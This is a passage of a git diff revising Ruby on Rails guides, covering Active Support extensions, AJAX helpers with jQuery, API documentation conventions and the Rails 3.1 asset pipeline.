+For coherence with the builtin methods only relative paths are accepted. +Absolute qualified constant names like +::Math::PI+ raise +NameError+. + +NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. + h4. Synchronization The +synchronize+ macro declares a method to be synchronized: @@ -864,7 +922,9 @@ end It is shorter, and the intention more obvious. -The macro accepts several methods: +The method must be public in the target. + +The +delegate+ macro accepts several methods: <ruby> delegate :name, :age, :address, :twitter, :to => :profile @@ -1018,7 +1078,7 @@ class A class_attribute :x, :instance_reader => false end -A.x = 1 # NoMethodError +A.new.x = 1 # NoMethodError </ruby> For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. @@ -1424,6 +1484,14 @@ The method +pluralize+ returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. ++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: + +<ruby> +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +</ruby> + Active Record uses this method to compute the default table name that corresponds to a model: <ruby> @@ -1587,7 +1655,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h5. +demodulize+ -Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: <ruby> "Product".demodulize # => "Product" @@ -1610,6 +1678,31 @@ end NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +h5. +deconstantize+ + +Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: + +<ruby> +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +</ruby> + +Active Support for example uses this method in +Module#qualified_const_set+: + +<ruby> +def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) +end +</ruby> + +NOTE: Defined in +active_support/core_ext/string/inflections.rb+. + h5. +parameterize+ The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. @@ -1758,7 +1851,7 @@ h4(#string-conversions). Conversions h5. +ord+ -Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8: +Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8: <ruby> "a".ord # => 97 @@ -1772,7 +1865,7 @@ In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte sup "à".mb_chars.ord # => 224, in UTF8 </ruby> -Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. +Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. INFO: +ord+ is equivalent to +getbyte(0)+. @@ -2069,6 +2162,30 @@ shape_types = [Circle, Square, Triangle].sample(2) NOTE: Defined in +active_support/core_ext/array/random_access.rb+. +h4. Adding Elements + +h5. +prepend+ + +This method is an alias of <tt>Array#unshift</tt>. + +<ruby> +%w(a b c d).prepend('e') # => %w(e a b c d) +[].prepend(10) # => [10] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + +h5. +append+ + +This method is an alias of <tt>Array#<<</tt>. + +<ruby> +%w(a b c d).append('e') # => %w(a b c d e) +[].append([1,2]) # => [[1,2]] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + h4. Options Extraction When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: @@ -2696,6 +2813,18 @@ hash # => {:a => 1} NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +h4. Extracting + +The method +extract!+ removes and returns the key/value pairs matching the given keys. + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.extract!(:a) # => {:a => 1} +hash # => {:b => 2} +</ruby> + +NOTE: Defined in +active_support/core_ext/hash/slice.rb+. + h4. Indifferent Access The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: @@ -3347,7 +3476,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3370,7 +3499,7 @@ The method +all_day+ returns a range representing the whole day of the current t now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 </ruby> Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. @@ -3379,13 +3508,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 </ruby> h4. Time Constructors @@ -3480,8 +3609,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3561,8 +3690,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 8b72e20c33..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section) +h3. Built-in Rails Helpers +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: +<ruby> +javascript_include_tag :defaults +</ruby> +h4. Examples +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. -h3. Built-in Rails Helpers +<ruby> +button_to "New", :action => "new", :form_class => "new-thing" +</ruby> + +will produce -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: <ruby> -javascript_include_tag 'prototype' +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } </ruby> +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -59,7 +119,6 @@ link_to_remote "Add to cart", </ruby> * The very first parameter, a string, is the text of the link which appears on the page. - * The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: ** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. ** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: @@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -129,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -138,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser @@ -193,7 +254,6 @@ end What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - h3. Testing JavaScript JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index 9c4df2d6b8..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -106,7 +106,6 @@ routes.rb # NO RAILS_ROOT/config/routes.rb # NO </plain> - h3. Fonts h4. Fixed-width Font @@ -147,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -184,8 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn - diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile index 51cb332e38..6ff5e87b6d 100644 --- a/railties/guides/source/asset_pipeline.textile +++ b/railties/guides/source/asset_pipeline.textile @@ -1,6 +1,6 @@ h2. Asset Pipeline -This guide will cover the ideology of the asset pipeline introduced in Rails 3.1. +This guide covers the asset pipeline introduced in Rails 3.1. By referring to this guide you will be able to: * Understand what the asset pipeline is and what it does @@ -13,16 +13,22 @@ endprologue. h3. What is the Asset Pipeline? -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, SCSS and ERB. +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. -Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 includes the +sprockets-rails+ gem, which depends on the +sprockets+ gem, by default. +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. -By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf. +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In new Rails 3.1 application the asset pipeline is enable by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: -<plain> +<ruby> config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets </plain> It is recommended that you use the defaults for all new apps. @@ -30,29 +36,31 @@ It is recommended that you use the defaults for all new apps. h4. Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser needs to make to render a web page. While Rails already has a feature to concatenate these types of asset--by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+--, many people do not use it. +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. -The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. +The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. -The second feature is to minify or compress. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. -The third feature is the ability to code these assets using another language, or language extension. These include SCSS or Sass for CSS, CoffeeScript for JavaScript, and ERB for both. +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. h4. What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique where the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file. +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_. +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. -The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash. +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: <plain> -global.css => global-908e25f4bf641868d8683022a5b62f54.css +global-908e25f4bf641868d8683022a5b62f54.css </plain> This is the strategy adopted by the Rails asset pipeline. -Rails old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: <plain> /stylesheets/global.css?1309495796 @@ -62,8 +70,8 @@ This has several disadvantages: <ol> <li> - <strong>Not all caches will cache content with a query string</strong><br> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in these case 5-20% of requests will not be cached. + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. </li> <li> <strong>The file name can change between nodes in multi-server environments.</strong><br> @@ -71,9 +79,11 @@ This has several disadvantages: </li> </ol> -The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. -Fingerprinting avoids all these problems by ensuring filenames are consistent based on the content. +Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. More reading: @@ -83,14 +93,18 @@ More reading: h3. How to Use the Asset Pipeline -In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory will be served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. -When a scaffold or controller is generated for the application, Rails will also generate a JavaScript file (or CoffeeScript if the +coffee-script+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS if +sass-rails+ is in the +Gemfile+) file for that controller. +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Asset Organization Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. @@ -101,13 +115,17 @@ Assets can be placed inside an application in one of three locations: +app/asset +vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. -All subdirectories that exist within these three locations will be added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths will be looked through to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. -h4. Coding Links to Assets +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: -To access assets, we can use the same tags that we are generally familiar with: +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +h4. Coding Links to Assets -Sprockets does not add any new methods to require your assets, we still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. <erb> <%= stylesheet_link_tag "application" %> @@ -120,65 +138,88 @@ In regular views you can access images in the +assets/images+ directory like thi <%= image_tag "rails.png" %> </erb> -Images can be organized into directories if required, and they can be accessed by specifying the directory's name in the tag: +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: <erb> <%= image_tag "icons/rails.png" %> </erb> -Providing that assets are enabled within our application (+config.assets.enabled+ in the current environment's file is not set to +false+), this file will be served by Sprockets unless a file at +public/assets/rails.png+ exists, in which case that file will be served. - -Alternatively, a file with an MD5 hash after its name such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ will also be picked up by Sprockets. How these hashes are generated is covered in the "Production Assets":#production_assets section later on in this guide. - -Otherwise, Sprockets will look through the available paths until it finds a file that matches the name and then will serve it, first looking in the application's assets directories and then falling back to the various engines of the application. +h5. CSS and ERB -If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme - a method of embedding the image data directly into the CSS file - you can use the +asset_data_uri+ helper. +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: <plain> -#logo { background: url(<%= asset_data_uri 'logo.png' %>) +.class { background-image: url(<%= asset_path 'image.png' %>) } </plain> -This will insert a correctly formatted data URI into the CSS source. +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. -h5. CSS and ERB - -If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+ then you can use the +asset_path+ helper in your CSS rules: +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. <plain> -.class{background-image:<%= asset_path 'image.png' %>} +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } </plain> -This will write the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file then that path will be referenced. +This inserts a correctly-formatted data URI into the CSS source. Note that the closing tag cannot be of the style +-%>+. -h5. CSS and SCSS +h5. CSS and Sass -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, javascript, stylesheet. +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* +image_url("rails.png")+ becomes +url(/assets/rails.png)+ -* +image_path("rails.png")+ becomes +"/assets/rails.png"+. +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. The more generic form can also be used but the asset path and class must both be specified: -* +asset_url("rails.png", "image")+ becomes +url(/assets/rails.png)+ -* +asset_path("rails.png", "image")+ becomes +"/assets/rails.png"+ +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ + +h5. JavaScript/CoffeeScript and ERB + +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: + +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. + +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> h4. Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets will load the files specified, process them if necessary, concatenate them into one single file and then compress them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, a page's load time is greatly reduced as there is not as many requests to make for each file. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: <plain> +// ... //= require jquery //= require jquery_ujs //= require_tree . </plain> -In JavaScript files, directives begin with +//=+. In this case, the following file is using the +require+ directive and the +require_tree+ directive. The +require+ directive tells Sprockets that we would like to require a file called +jquery.js+ that is available somewhere in the search path for Sprockets. By default, this is located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. An identical event takes place for the +jquery_ujs+ require +In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. + +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. -The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). + +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: @@ -189,13 +230,15 @@ There's also a default +app/assets/stylesheets/application.css+ file which conta */ </plain> -The directives that work in the JavaScript files will also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. +The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. + +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. -In this example +require_self+ is used. This will put the CSS contained within the file (if any) at the top of any other CSS in this file unless +require_self+ is specified after another +require+ directive. +NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of 